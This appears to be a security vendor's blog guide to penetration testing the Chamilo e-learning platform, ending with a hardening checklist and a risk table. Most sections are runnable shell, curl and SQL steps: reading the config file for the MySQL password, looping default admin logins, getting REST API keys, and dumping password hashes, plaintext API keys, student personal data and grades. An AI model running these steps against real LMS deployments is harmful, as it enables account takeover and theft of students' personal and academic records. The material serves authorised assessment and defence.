LMS Security Testing

Chamilo Security Testing: Default Credentials, API Key, Database, and LMS

📅 July 3, 2026 ⏱ 10 min read 🏷 Chamilo, LMS, configuration.php, MySQL, Admin Credentials, REST API, SHA-512 Hashes, Student PII, Grade Data, Course Content, API Key, e-learning Security

Chamilo is a widely deployed open-source e-learning and course management platform used by universities, training organizations, and government education bodies. Key assessment areas: app/config/configuration.php exposes MySQL credentials; admin credentials are frequently set to defaults; the Chamilo web services API uses API keys stored in the user table; and the database contains student PII, grade data, quiz answers, and file submissions. This guide covers systematic Chamilo security assessment.

configuration.php MySQL Credential Extraction
REST API and Admin Credential Assessment
MySQL User Hash, Student PII, and Grade Data Extraction
Chamilo Security Hardening

configuration.php MySQL Credential Extraction

# Chamilo — app/config/configuration.php MySQL credential extraction
CHAMILO_URL="https://lms.example.com"

# app/config/configuration.php — Chamilo database configuration
cat /var/www/chamilo/app/config/configuration.php 2>/dev/null | head -50
# $_configuration['db_host'] = 'localhost';
# $_configuration['db_user'] = 'chamilo';
# $_configuration['db_password'] = '...';    <-- MySQL database password
# $_configuration['main_database'] = 'chamilo';
# $_configuration['root_web'] = 'https://lms.example.com/';

python3 -c "
import re
content = open('/var/www/chamilo/app/config/configuration.php').read()
patterns = {
    'db_password': r\"\\\$_configuration\['db_password'\]\s*=\s*'([^']+)'\",
    'db_user': r\"\\\$_configuration\['db_user'\]\s*=\s*'([^']+)'\",
    'db_host': r\"\\\$_configuration\['db_host'\]\s*=\s*'([^']+)'\",
    'main_database': r\"\\\$_configuration\['main_database'\]\s*=\s*'([^']+)'\",
    'encrypt_password': r\"\\\$_configuration\['password_encryption'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Test configuration.php web access
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  "${CHAMILO_URL}/app/config/configuration.php" 2>/dev/null)
echo "configuration.php: HTTP ${STATUS}"

# Chamilo version detection
curl -s "${CHAMILO_URL}/" 2>/dev/null | grep -oP 'Chamilo [0-9]+\.[0-9]+' | head -1

# Default admin credentials
for CRED in "admin:admin" "admin:chamilo" "chamilo:chamilo" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${CHAMILO_URL}/main/auth/login.php" \
    -d "login=${USER}&password=${PASS}&submitAuth=+" \
    -c /tmp/chamilo_c -b /tmp/chamilo_c \
    -L -w "%{http_code}" -o /dev/null 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESPONSE}"
done

REST API and Admin Credential Assessment

# Chamilo REST API — API key and admin credential assessment
CHAMILO_URL="https://lms.example.com"

# Chamilo web services use an API key (ws_security_key) stored per user
# Test SOAP web service availability
curl -s "${CHAMILO_URL}/main/webservices/soap.php?wsdl" 2>/dev/null | \
  grep -oP 'operation name="\K[^"]+' | head -10
# Services: WSCMUserLogin, WSCMGetCourse, WSCMGetUserList, etc.

# Test REST web service availability
curl -s "${CHAMILO_URL}/main/webservices/rest.php" 2>/dev/null | head -20

# With extracted credentials — access admin panel
# Admin panel at /main/admin/
ADMIN_SESS=$(curl -s -c /tmp/chamilo_admin -X POST \
  "${CHAMILO_URL}/main/auth/login.php" \
  -d "login=admin&password=admin&submitAuth=+" \
  -L --max-redirs 3 2>/dev/null | \
  grep -o "sid=[a-zA-Z0-9]*" | head -1)
echo "Session: ${ADMIN_SESS}"

# Access course list via admin API
curl -s "${CHAMILO_URL}/main/webservices/rest.php?action=authenticate&username=admin&password=admin&format=json" \
  2>/dev/null | python3 -c "
import json,sys
try:
    d=json.load(sys.stdin)
    print(f'API Key: {d.get(\"data\",{}).get(\"apiKey\")}')
    print(f'UserID: {d.get(\"data\",{}).get(\"userId\")}')
except: print('REST API auth response:', sys.stdin.read()[:200])
" 2>/dev/null

MySQL User Hash, Student PII, and Grade Data Extraction

# Chamilo MySQL database — user hash, student PII, and grade data extraction
DB_PASS="extracted-db-password"

mysql -u chamilo -p"${DB_PASS}" chamilo 2>/dev/null << 'EOF'
-- Chamilo users with password hashes
SELECT u.user_id, u.username, u.email, u.password,
       u.status, u.active, u.firstname, u.lastname,
       u.registration_date, u.last_login
FROM user u
WHERE u.active = 1
ORDER BY u.user_id
LIMIT 20;
-- status: 1=student, 5=teacher, 6=admin
-- password: SHA-512 or bcrypt depending on version/configuration

-- Admin users (status = 6)
SELECT u.username, u.email, u.password,
       u.ws_api_key          -- REST API authentication key
FROM user u
WHERE u.status = 6;

-- Web service API keys (for all users with API access)
SELECT u.user_id, u.username, u.email, u.ws_api_key
FROM user u
WHERE u.ws_api_key IS NOT NULL
AND u.ws_api_key != '';
-- ws_api_key: plaintext API key for REST/SOAP web services

-- Student PII (extra_field_values)
SELECT u.username, u.email, u.firstname, u.lastname,
       efv.value as field_value, ef.variable as field_name
FROM user u
JOIN extra_field_values efv ON efv.item_id = u.user_id
JOIN extra_field ef ON ef.id = efv.field_id
WHERE ef.extra_field_type = 1    -- user extra fields
ORDER BY u.user_id
LIMIT 20;

-- Course enrollment and grades
SELECT u.username, u.email, c.code as course_code, c.title as course_title,
       cu.status as role,                -- 0=student, 1=teacher
       g.score, g.max, g.date_log
FROM user u
JOIN course_user cu ON cu.user_id = u.user_id
JOIN course c ON c.id = cu.c_id
LEFT JOIN gradebook_result g ON g.user_id = u.user_id
WHERE g.score IS NOT NULL
ORDER BY u.user_id
LIMIT 20;
EOF

Chamilo Security Hardening

Chamilo Security Hardening Checklist:

Protect app/config/configuration.php from web access — Chamilo's main configuration file stores database credentials including the host, username, and password as PHP variables in app/config/configuration.php; the file also contains the encryption method for passwords (SHA-512 or bcrypt) and the Chamilo root path; Chamilo's default Apache/nginx configuration typically denies access to the app/ directory, but this must be verified; if the web server allows PHP execution in the app/ directory, the configuration is protected by PHP interpreter — but a misconfigured server could return the file as plaintext; additionally, the app/cache/ and app/logs/ directories may contain sensitive debugging information; restrict all access to the app/ directory at the web server level
Change admin credentials and use bcrypt password hashing — Chamilo frequently ships with admin/admin or has no password enforcement during installation; the default admin account (status=6 in the user table) has full platform control; change the admin username to a non-obvious value and set a strong password immediately after installation; Chamilo versions 1.11.x support bcrypt password hashing — ensure $_configuration['password_encryption'] is set to 'bcrypt' rather than 'sha1' or 'md5' in configuration.php; bcrypt hashing is backward-compatible as Chamilo rehashes on login; enable Chamilo's two-factor authentication plugin (Extra > Plugins > 2FA) for admin accounts; restrict /main/admin/ access to trusted IP addresses via web server configuration
Audit and rotate web service API keys — Chamilo's REST and SOAP web services use per-user API keys stored in the ws_api_key column of the user table; these keys are generated during API authentication and persist indefinitely until manually rotated; audit all users with non-null ws_api_key values; disable web services entirely if not needed via Administration > Chamilo.net > Webservices; if web services are required, restrict API calls to specific IP addresses; rotate API keys for all admin and teacher accounts; the web services API provides access to user lists, course content, grades, and student enrollment data at the calling user's permission level
Restrict student PII access and audit file submissions — Chamilo stores student PII including national ID numbers, phone numbers, and custom extra fields in the extra_field_values table; quiz attempts, file submissions (c_student_publication), and forum posts contain academically sensitive content; implement Chamilo's course access controls to limit data exposure; regularly audit which courses are publicly accessible (course_user with no enrollment restriction) vs. private; ensure GDPR compliance by configuring Chamilo's privacy settings via Administration > Configuration > User; implement data retention policies for student submissions and grade records
Keep Chamilo updated and restrict plugin installation — Chamilo has historical CVEs including privilege escalation and XSS vulnerabilities; the plugin system allows PHP code execution as the Chamilo user; restrict plugin installation to verified administrators; disable the plugin marketplace for high-security deployments; apply patches promptly as Chamilo education deployments often contain years of sensitive student data; review the Chamilo changelog for security fixes at each minor version; configure Chamilo's built-in security settings in Administration > Security > Security to enforce password complexity, session timeouts, and login attempt limits

Security Test	Method	Risk
app/config/configuration.php MySQL db_password extraction	Read /var/www/chamilo/app/config/configuration.php — database credentials for all student data, course content, grades, and API keys	Critical
user table ws_api_key plaintext REST/SOAP API key extraction	MySQL SELECT ws_api_key FROM user WHERE status=6 — plaintext API keys for admin-level web service access; all user data, course enrollment, grade management	High
Admin credential brute-force (admin/admin, admin/chamilo)	POST /main/auth/login.php — admin session; full LMS administration, user management, course creation, grade modification	High
Student PII extraction from extra_field_values	MySQL SELECT from extra_field_values JOIN user — national IDs, phone numbers, custom student fields; GDPR-relevant personal data for all students	High
Grade and assessment data extraction from gradebook_result	MySQL SELECT from gradebook_result JOIN user — all student grades, quiz scores, course performance; academic record integrity implications	Medium

Automate Chamilo Security Testing

Ironimo tests Chamilo LMS deployments for app/config/configuration.php MySQL db_password web exposure, /app/ directory PHP file access protection, admin/admin credential brute-force at /main/auth/login.php, user table ws_api_key plaintext REST API key extraction, admin user (status=6) identification and hash extraction, student PII enumeration from extra_field_values, grade data extraction from gradebook_result, course enrollment and access control assessment via course_user, web services SOAP/REST availability and authentication bypass, and Chamilo version disclosure for CVE targeting.

Start free scan

Table of Contents

configuration.php MySQL Credential Extraction

REST API and Admin Credential Assessment

MySQL User Hash, Student PII, and Grade Data Extraction

Chamilo Security Hardening

Automate Chamilo Security Testing